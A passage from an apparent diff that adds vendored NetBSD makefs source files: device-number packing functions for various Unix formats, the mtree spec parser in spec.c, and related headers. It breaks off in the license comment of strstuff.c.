portdev_t dev = 0;
if (n == 2) {
dev = makedev(numbers[0], numbers[1]);
if (major(dev) != numbers[0])
*error = iMajorError;
else if (minor(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
static portdev_t
pack_netbsd(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_netbsd(numbers[0], numbers[1]);
if (major_netbsd(dev) != numbers[0])
*error = iMajorError;
else if (minor_netbsd(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_freebsd(x) ((int32_t)(((x) & 0x0000ff00) >> 8))
#define minor_freebsd(x) ((int32_t)(((x) & 0xffff00ff) >> 0))
#define makedev_freebsd(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \
(((y) << 0) & 0xffff00ff)))
static portdev_t
pack_freebsd(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_freebsd(numbers[0], numbers[1]);
if (major_freebsd(dev) != numbers[0])
*error = iMajorError;
if (minor_freebsd(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_8_8(x) ((int32_t)(((x) & 0x0000ff00) >> 8))
#define minor_8_8(x) ((int32_t)(((x) & 0x000000ff) >> 0))
#define makedev_8_8(x,y) ((portdev_t)((((x) << 8) & 0x0000ff00) | \
(((y) << 0) & 0x000000ff)))
static portdev_t
pack_8_8(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_8_8(numbers[0], numbers[1]);
if (major_8_8(dev) != numbers[0])
*error = iMajorError;
if (minor_8_8(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_12_20(x) ((int32_t)(((x) & 0xfff00000) >> 20))
#define minor_12_20(x) ((int32_t)(((x) & 0x000fffff) >> 0))
#define makedev_12_20(x,y) ((portdev_t)((((x) << 20) & 0xfff00000) | \
(((y) << 0) & 0x000fffff)))
static portdev_t
pack_12_20(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_12_20(numbers[0], numbers[1]);
if (major_12_20(dev) != numbers[0])
*error = iMajorError;
if (minor_12_20(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_14_18(x) ((int32_t)(((x) & 0xfffc0000) >> 18))
#define minor_14_18(x) ((int32_t)(((x) & 0x0003ffff) >> 0))
#define makedev_14_18(x,y) ((portdev_t)((((x) << 18) & 0xfffc0000) | \
(((y) << 0) & 0x0003ffff)))
static portdev_t
pack_14_18(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_14_18(numbers[0], numbers[1]);
if (major_14_18(dev) != numbers[0])
*error = iMajorError;
if (minor_14_18(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_8_24(x) ((int32_t)(((x) & 0xff000000) >> 24))
#define minor_8_24(x) ((int32_t)(((x) & 0x00ffffff) >> 0))
#define makedev_8_24(x,y) ((portdev_t)((((x) << 24) & 0xff000000) | \
(((y) << 0) & 0x00ffffff)))
static portdev_t
pack_8_24(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_8_24(numbers[0], numbers[1]);
if (major_8_24(dev) != numbers[0])
*error = iMajorError;
if (minor_8_24(dev) != numbers[1])
*error = iMinorError;
} else
*error = tooManyFields;
return (dev);
}
#define major_12_12_8(x) ((int32_t)(((x) & 0xfff00000) >> 20))
#define unit_12_12_8(x) ((int32_t)(((x) & 0x000fff00) >> 8))
#define subunit_12_12_8(x) ((int32_t)(((x) & 0x000000ff) >> 0))
#define makedev_12_12_8(x,y,z) ((portdev_t)((((x) << 20) & 0xfff00000) | \
(((y) << 8) & 0x000fff00) | \
(((z) << 0) & 0x000000ff)))
static portdev_t
pack_bsdos(int n, u_long numbers[], const char **error)
{
portdev_t dev = 0;
if (n == 2) {
dev = makedev_12_20(numbers[0], numbers[1]);
if (major_12_20(dev) != numbers[0])
*error = iMajorError;
if (minor_12_20(dev) != numbers[1])
*error = iMinorError;
} else if (n == 3) {
dev = makedev_12_12_8(numbers[0], numbers[1], numbers[2]);
if (major_12_12_8(dev) != numbers[0])
*error = iMajorError;
if (unit_12_12_8(dev) != numbers[1])
*error = "invalid unit number";
if (subunit_12_12_8(dev) != numbers[2])
*error = "invalid subunit number";
} else
*error = tooManyFields;
return (dev);
}
/* list of formats and pack functions */
/* this list must be sorted lexically */
struct format {
const char *name;
pack_t *pack;
} formats[] = {
{"386bsd", pack_8_8},
{"4bsd", pack_8_8},
{"bsdos", pack_bsdos},
{"freebsd", pack_freebsd},
{"hpux", pack_8_24},
{"isc", pack_8_8},
{"linux", pack_8_8},
{"native", pack_native},
{"netbsd", pack_netbsd},
{"osf1", pack_12_20},
{"sco", pack_8_8},
{"solaris", pack_14_18},
{"sunos", pack_8_8},
{"svr3", pack_8_8},
{"svr4", pack_14_18},
{"ultrix", pack_8_8},
};
static int
compare_format(const void *key, const void *element)
{
const char *name;
const struct format *format;
name = key;
format = element;
return (strcmp(name, format->name));
}
pack_t *
pack_find(const char *name)
{
struct format *format;
format = bsearch(name, formats,
sizeof(formats)/sizeof(formats[0]),
sizeof(formats[0]), compare_format);
if (format == 0)
return (NULL);
return (format->pack);
}

59
thirdparty/makefs/pack_dev.h vendored Normal file
View File

@@ -0,0 +1,59 @@
/* $NetBSD: pack_dev.h,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */
/*-
* Copyright (c) 1998, 2001 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Charles M. Hannum.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the NetBSD
* Foundation, Inc. and its contributors.
* 4. Neither the name of The NetBSD Foundation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _PACK_DEV_H
#define _PACK_DEV_H
#ifdef __CYGWIN__
typedef __dev32_t portdev_t;
#else
typedef dev_t portdev_t;
#endif
typedef portdev_t pack_t(int, u_long [], const char **);
pack_t *pack_find(const char *);
pack_t pack_native;
#define major_netbsd(x) ((int32_t)((((x) & 0x000fff00) >> 8)))
#define minor_netbsd(x) ((int32_t)((((x) & 0xfff00000) >> 12) | \
(((x) & 0x000000ff) >> 0)))
#define makedev_netbsd(x,y) ((dev_t)((((x) << 8) & 0x000fff00) | \
(((y) << 12) & 0xfff00000) | \
(((y) << 0) & 0x000000ff)))
#endif /* _PACK_DEV_H */

701
thirdparty/makefs/spec.c vendored Normal file
View File

@@ -0,0 +1,701 @@
/* $NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $ */
/*-
* Copyright (c) 1989, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*-
* Copyright (c) 2001-2004 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Luke Mewburn of Wasabi Systems.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the NetBSD
* Foundation, Inc. and its contributors.
* 4. Neither the name of The NetBSD Foundation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#if HAVE_CONFIG_H
#include "config.h"
#endif
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
//#include <nbcompat.h>
#if HAVE_SYS_CDEFS_H
#include <sys/cdefs.h>
#endif
#if defined(__RCSID) && !defined(lint)
#if 0
static char sccsid[] = "@(#)spec.c 8.2 (Berkeley) 4/28/95";
#else
__RCSID("$NetBSD: spec.c,v 1.5 2008/11/06 02:14:52 jschauma Exp $");
#endif
#endif /* not lint */
#if HAVE_SYS_PARAM_H
#include <sys/param.h>
#endif
#if HAVE_SYS_STAT_H
#include <sys/stat.h>
#endif
#if HAVE_CTYPE_H
#include <ctype.h>
#endif
#if HAVE_ERRNO_H
#include <errno.h>
#endif
#if HAVE_GRP_H
#include <grp.h>
#endif
#if HAVE_PWD_H
#include <pwd.h>
#endif
#if HAVE_STDIO_H
#include <stdio.h>
#endif
#if HAVE_STDLIB_H
#include <stdlib.h>
#endif
#if HAVE_STRING_H
#include <string.h>
#endif
#if HAVE_UNISTD_H
#include <unistd.h>
#endif
#if HAVE_VIS_H
#include <vis.h>
#endif
#if HAVE_UTIL_H
#include <util.h>
#endif
#include "extern.h"
#include "pack_dev.h"
size_t mtree_lineno; /* Current spec line number */
int mtree_Mflag; /* Merge duplicate entries */
int mtree_Wflag; /* Don't "whack" permissions */
static dev_t parsedev(char *);
static void replacenode(NODE *, NODE *);
static void set(char *, NODE *);
static void unset(char *, NODE *);
#define REPLACEPTR(x,v) do { if ((x)) free((x)); (x) = (v); } while (0)
NODE *
spec(FILE *fp)
{
NODE *centry, *last, *pathparent, *cur;
char *p, *e, *next;
NODE ginfo, *root;
char *buf, *tname, *ntname;
size_t tnamelen, plen;
root = NULL;
centry = last = NULL;
tname = NULL;
tnamelen = 0;
memset(&ginfo, 0, sizeof(ginfo));
for (mtree_lineno = 0;
(buf = fparseln(fp, NULL, &mtree_lineno, NULL,
FPARSELN_UNESCCOMM));
free(buf)) {
/* Skip leading whitespace. */
for (p = buf; *p && isspace((unsigned char)*p); ++p)
continue;
/* If nothing but whitespace, continue. */
if (!*p)
continue;
#ifdef DEBUG
fprintf(stderr, "line %lu: {%s}\n",
(u_long)mtree_lineno, p);
#endif
/* Grab file name, "$", "set", or "unset". */
next = buf;
while ((p = strsep(&next, " \t")) != NULL && *p == '\0')
continue;
if (p == NULL)
mtree_err("missing field");
if (p[0] == '/') {
if (strcmp(p + 1, "set") == 0)
set(next, &ginfo);
else if (strcmp(p + 1, "unset") == 0)
unset(next, &ginfo);
else
mtree_err("invalid specification `%s'", p);
continue;
}
if (strcmp(p, "..") == 0) {
/* Don't go up, if haven't gone down. */
if (root == NULL)
goto noparent;
if (last->type != F_DIR || last->flags & F_DONE) {
if (last == root)
goto noparent;
last = last->parent;
}
last->flags |= F_DONE;
continue;
noparent: mtree_err("no parent node");
}
plen = strlen(p) + 1;
if (plen > tnamelen) {
if ((ntname = realloc(tname, plen)) == NULL)
mtree_err("realloc: %s", strerror(errno));
tname = ntname;
tnamelen = plen;
}
if (strunvis(tname, p) == -1)
mtree_err("strunvis failed on `%s'", p);
p = tname;
pathparent = NULL;
if (strchr(p, '/') != NULL) {
cur = root;
for (; (e = strchr(p, '/')) != NULL; p = e+1) {
if (p == e)
continue; /* handle // */
*e = '\0';
if (strcmp(p, ".") != 0) {
while (cur &&
strcmp(cur->name, p) != 0) {
cur = cur->next;
}
}
if (cur == NULL || cur->type != F_DIR) {
mtree_err("%s: %s", tname,
strerror(ENOENT));
}
*e = '/';
pathparent = cur;
cur = cur->child;
}
if (*p == '\0')
mtree_err("%s: empty leaf element", tname);
}
if ((centry = calloc(1, sizeof(NODE) + strlen(p))) == NULL)
mtree_err("%s", strerror(errno));
*centry = ginfo;
centry->lineno = mtree_lineno;
strcpy(centry->name, p);
#define MAGIC "?*["
if (strpbrk(p, MAGIC))
centry->flags |= F_MAGIC;
set(next, centry);
if (root == NULL) {
/*
* empty tree
*/
if (strcmp(centry->name, ".") != 0 ||
centry->type != F_DIR)
mtree_err(
"root node must be the directory `.'");
last = root = centry;
root->parent = root;
} else if (pathparent != NULL) {
/*
* full path entry
*/
centry->parent = pathparent;
cur = pathparent->child;
if (cur == NULL) {
pathparent->child = centry;
last = centry;
} else {
for (; cur != NULL; cur = cur->next) {
if (strcmp(cur->name, centry->name)
== 0) {
/* existing entry; replace */
replacenode(cur, centry);
break;
}
if (cur->next == NULL) {
/* last entry; add new */
cur->next = centry;
centry->prev = cur;
break;
}
}
last = cur;
while (last->next != NULL)
last = last->next;
}
} else if (strcmp(centry->name, ".") == 0) {
/*
* duplicate "." entry; always replace
*/
replacenode(root, centry);
} else if (last->type == F_DIR && !(last->flags & F_DONE)) {
/*
* new relative child
* (no duplicate check)
*/
centry->parent = last;
last = last->child = centry;
} else {
/*
* relative entry, up one directory
* (no duplicate check)
*/
centry->parent = last->parent;
centry->prev = last;
last = last->next = centry;
}
}
return (root);
}
void
free_nodes(NODE *root)
{
NODE *cur, *next;
if (root == NULL)
return;
next = NULL;
for (cur = root; cur != NULL; cur = next) {
next = cur->next;
free_nodes(cur->child);
REPLACEPTR(cur->slink, NULL);
REPLACEPTR(cur->md5digest, NULL);
REPLACEPTR(cur->rmd160digest, NULL);
REPLACEPTR(cur->sha1digest, NULL);
REPLACEPTR(cur->sha256digest, NULL);
REPLACEPTR(cur->sha384digest, NULL);
REPLACEPTR(cur->sha512digest, NULL);
REPLACEPTR(cur->tags, NULL);
REPLACEPTR(cur, NULL);
}
}
/*
* dump_nodes --
* dump the NODEs from `cur', based in the directory `dir'.
* if pathlast is none zero, print the path last, otherwise print
* it first.
*/
void
dump_nodes(const char *dir, NODE *root, int pathlast)
{
NODE *cur;
char path[MAXPATHLEN];
const char *name;
for (cur = root; cur != NULL; cur = cur->next) {
if (cur->type != F_DIR && !matchtags(cur))
continue;
if (snprintf(path, sizeof(path), "%s%s%s",
dir, *dir ? "/" : "", cur->name)
>= sizeof(path))
mtree_err("Pathname too long.");
if (!pathlast)
printf("%s ", vispath(path));
#define MATCHFLAG(f) ((keys & (f)) && (cur->flags & (f)))
if (MATCHFLAG(F_TYPE))
printf("type=%s ", nodetype(cur->type));
if (MATCHFLAG(F_UID | F_UNAME)) {
if (keys & F_UNAME &&
(name = user_from_uid(cur->st_uid, 1)) != NULL)
printf("uname=%s ", name);
else
printf("uid=%u ", cur->st_uid);
}
if (MATCHFLAG(F_GID | F_GNAME)) {
if (keys & F_GNAME &&
(name = group_from_gid(cur->st_gid, 1)) != NULL)
printf("gname=%s ", name);
else
printf("gid=%u ", cur->st_gid);
}
if (MATCHFLAG(F_MODE))
printf("mode=%#o ", cur->st_mode);
if (MATCHFLAG(F_DEV) &&
(cur->type == F_BLOCK || cur->type == F_CHAR))
printf("device=%#x ", cur->st_rdev);
if (MATCHFLAG(F_NLINK))
printf("nlink=%d ", cur->st_nlink);
if (MATCHFLAG(F_SLINK))
printf("link=%s ", vispath(cur->slink));
if (MATCHFLAG(F_SIZE))
printf("size=%lld ", (long long)cur->st_size);
if (MATCHFLAG(F_TIME))
printf("time=%ld.%ld ", (long)cur->st_mtimespec.tv_sec,
cur->st_mtimespec.tv_nsec);
if (MATCHFLAG(F_CKSUM))
printf("cksum=%lu ", cur->cksum);
if (MATCHFLAG(F_MD5))
printf("md5=%s ", cur->md5digest);
if (MATCHFLAG(F_RMD160))
printf("rmd160=%s ", cur->rmd160digest);
if (MATCHFLAG(F_SHA1))
printf("sha1=%s ", cur->sha1digest);
if (MATCHFLAG(F_SHA256))
printf("sha256=%s ", cur->sha256digest);
if (MATCHFLAG(F_SHA384))
printf("sha384=%s ", cur->sha384digest);
if (MATCHFLAG(F_SHA512))
printf("sha512=%s ", cur->sha512digest);
if (MATCHFLAG(F_FLAGS))
printf("flags=%s ",
flags_to_string(cur->st_flags, "none"));
if (MATCHFLAG(F_IGN))
printf("ignore ");
if (MATCHFLAG(F_OPT))
printf("optional ");
if (MATCHFLAG(F_TAGS))
printf("tags=%s ", cur->tags);
puts(pathlast ? vispath(path) : "");
if (cur->child)
dump_nodes(path, cur->child, pathlast);
}
}
/*
* vispath --
* strsvis(3) encodes path, which must not be longer than MAXPATHLEN
* characters long, and returns a pointer to a static buffer containing
* the result.
*/
char *
vispath(const char *path)
{
const char extra[] = { ' ', '\t', '\n', '\\', '#', '\0' };
static char pathbuf[4*MAXPATHLEN + 1];
strsvis(pathbuf, path, VIS_CSTYLE, extra);
return(pathbuf);
}
static dev_t
parsedev(char *arg)
{
#define MAX_PACK_ARGS 3
u_long numbers[MAX_PACK_ARGS];
char *p, *ep, *dev;
int argc;
pack_t *pack;
dev_t result;
const char *error = NULL;
if ((dev = strchr(arg, ',')) != NULL) {
*dev++='\0';
if ((pack = pack_find(arg)) == NULL)
mtree_err("unknown format `%s'", arg);
argc = 0;
while ((p = strsep(&dev, ",")) != NULL) {
if (*p == '\0')
mtree_err("missing number");
numbers[argc++] = strtoul(p, &ep, 0);
if (*ep != '\0')
mtree_err("invalid number `%s'",
p);
if (argc > MAX_PACK_ARGS)
mtree_err("too many arguments");
}
if (argc < 2)
mtree_err("not enough arguments");
result = (*pack)(argc, numbers, &error);
if (error != NULL)
mtree_err(error);
} else {
result = (dev_t)strtoul(arg, &ep, 0);
if (*ep != '\0')
mtree_err("invalid device `%s'", arg);
}
return (result);
}
static void
replacenode(NODE *cur, NODE *new)
{
#define REPLACE(x) cur->x = new->x
#define REPLACESTR(x) REPLACEPTR(cur->x,new->x)
if (cur->type != new->type) {
if (mtree_Mflag) {
/*
* merge entries with different types; we
* don't want children retained in this case.
*/
REPLACE(type);
free_nodes(cur->child);
cur->child = NULL;
} else {
mtree_err(
"existing entry for `%s', type `%s'"
" does not match type `%s'",
cur->name, nodetype(cur->type),
nodetype(new->type));
}
}
REPLACE(st_size);
REPLACE(st_mtimespec);
REPLACESTR(slink);
if (cur->slink != NULL) {
if ((cur->slink = strdup(new->slink)) == NULL)
mtree_err("memory allocation error");
if (strunvis(cur->slink, new->slink) == -1)
mtree_err("strunvis failed on `%s'", new->slink);
free(new->slink);
}
REPLACE(st_uid);
REPLACE(st_gid);
REPLACE(st_mode);
REPLACE(st_rdev);
REPLACE(st_flags);
REPLACE(st_nlink);
REPLACE(cksum);
REPLACESTR(md5digest);
REPLACESTR(rmd160digest);
REPLACESTR(sha1digest);
REPLACESTR(sha256digest);
REPLACESTR(sha384digest);
REPLACESTR(sha512digest);
REPLACESTR(tags);
REPLACE(lineno);
REPLACE(flags);
free(new);
}
static void
set(char *t, NODE *ip)
{
int type, value, len;
gid_t gid;
uid_t uid;
char *kw, *val, *md, *ep;
void *m;
while ((kw = strsep(&t, "= \t")) != NULL) {
if (*kw == '\0')
continue;
if (strcmp(kw, "all") == 0)
mtree_err("invalid keyword `all'");
ip->flags |= type = parsekey(kw, &value);
if (!value)
/* Just set flag bit (F_IGN and F_OPT) */
continue;
while ((val = strsep(&t, " \t")) != NULL && *val == '\0')
continue;
if (val == NULL)
mtree_err("missing value");
switch (type) {
case F_CKSUM:
ip->cksum = strtoul(val, &ep, 10);
if (*ep)
mtree_err("invalid checksum `%s'", val);
break;
case F_DEV:
ip->st_rdev = parsedev(val);
break;
case F_FLAGS:
if (strcmp("none", val) == 0)
ip->st_flags = 0;
else if (string_to_flags(&val, &ip->st_flags, NULL)
!= 0)
mtree_err("invalid flag `%s'", val);
break;
case F_GID:
ip->st_gid = (gid_t)strtoul(val, &ep, 10);
if (*ep)
mtree_err("invalid gid `%s'", val);
break;
case F_GNAME:
if (mtree_Wflag) /* don't parse if whacking */
break;
if (gid_from_group(val, &gid) == -1)
mtree_err("unknown group `%s'", val);
ip->st_gid = gid;
break;
case F_MD5:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->md5digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
case F_MODE:
if ((m = setmode(val)) == NULL)
mtree_err("cannot set file mode `%s' (%s)",
val, strerror(errno));
ip->st_mode = getmode(m, 0);
free(m);
break;
case F_NLINK:
ip->st_nlink = (nlink_t)strtoul(val, &ep, 10);
if (*ep)
mtree_err("invalid link count `%s'", val);
break;
case F_RMD160:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->rmd160digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
case F_SHA1:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->sha1digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
case F_SIZE:
ip->st_size = (off_t)strtoll(val, &ep, 10);
if (*ep)
mtree_err("invalid size `%s'", val);
break;
case F_SLINK:
if ((ip->slink = strdup(val)) == NULL)
mtree_err("memory allocation error");
if (strunvis(ip->slink, val) == -1)
mtree_err("strunvis failed on `%s'", val);
break;
case F_TAGS:
len = strlen(val) + 3; /* "," + str + ",\0" */
if ((ip->tags = malloc(len)) == NULL)
mtree_err("memory allocation error");
snprintf(ip->tags, len, ",%s,", val);
break;
case F_TIME:
ip->st_mtimespec.tv_sec =
(time_t)strtoul(val, &ep, 10);
if (*ep != '.')
mtree_err("invalid time `%s'", val);
val = ep + 1;
ip->st_mtimespec.tv_nsec = strtoul(val, &ep, 10);
if (*ep)
mtree_err("invalid time `%s'", val);
break;
case F_TYPE:
ip->type = parsetype(val);
break;
case F_UID:
ip->st_uid = (uid_t)strtoul(val, &ep, 10);
if (*ep)
mtree_err("invalid uid `%s'", val);
break;
case F_UNAME:
if (mtree_Wflag) /* don't parse if whacking */
break;
if (uid_from_user(val, &uid) == -1)
mtree_err("unknown user `%s'", val);
ip->st_uid = uid;
break;
case F_SHA256:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->sha256digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
case F_SHA384:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->sha384digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
case F_SHA512:
if (val[0]=='0' && val[1]=='x')
md=&val[2];
else
md=val;
if ((ip->sha512digest = strdup(md)) == NULL)
mtree_err("memory allocation error");
break;
default:
mtree_err(
"set(): unsupported key type 0x%x (INTERNAL ERROR)",
type);
/* NOTREACHED */
}
}
}
static void
unset(char *t, NODE *ip)
{
char *p;
while ((p = strsep(&t, " \t")) != NULL) {
if (*p == '\0')
continue;
ip->flags &= ~parsekey(p, NULL);
}
}

35
thirdparty/makefs/stat_flags.h vendored Normal file
View File

@@ -0,0 +1,35 @@
/* $NetBSD: stat_flags.h,v 1.1 2003/09/05 18:39:00 jlam Exp $ */
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)extern.h 8.1 (Berkeley) 5/31/93
*/
char *flags_to_string(u_long, const char *);
int string_to_flags(char **, u_long *, u_long *);

222
thirdparty/makefs/strstuff.c vendored Normal file
View File

@@ -0,0 +1,222 @@
/* $NetBSD: strsuftoll.c,v 1.6 2004/03/05 05:58:29 lukem Exp $ */
/*-
* Copyright (c) 2001-2002,2004 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Luke Mewburn.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*-
* Copyright (c) 1991, 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Keith Muller of the University of California, San Diego and Lance
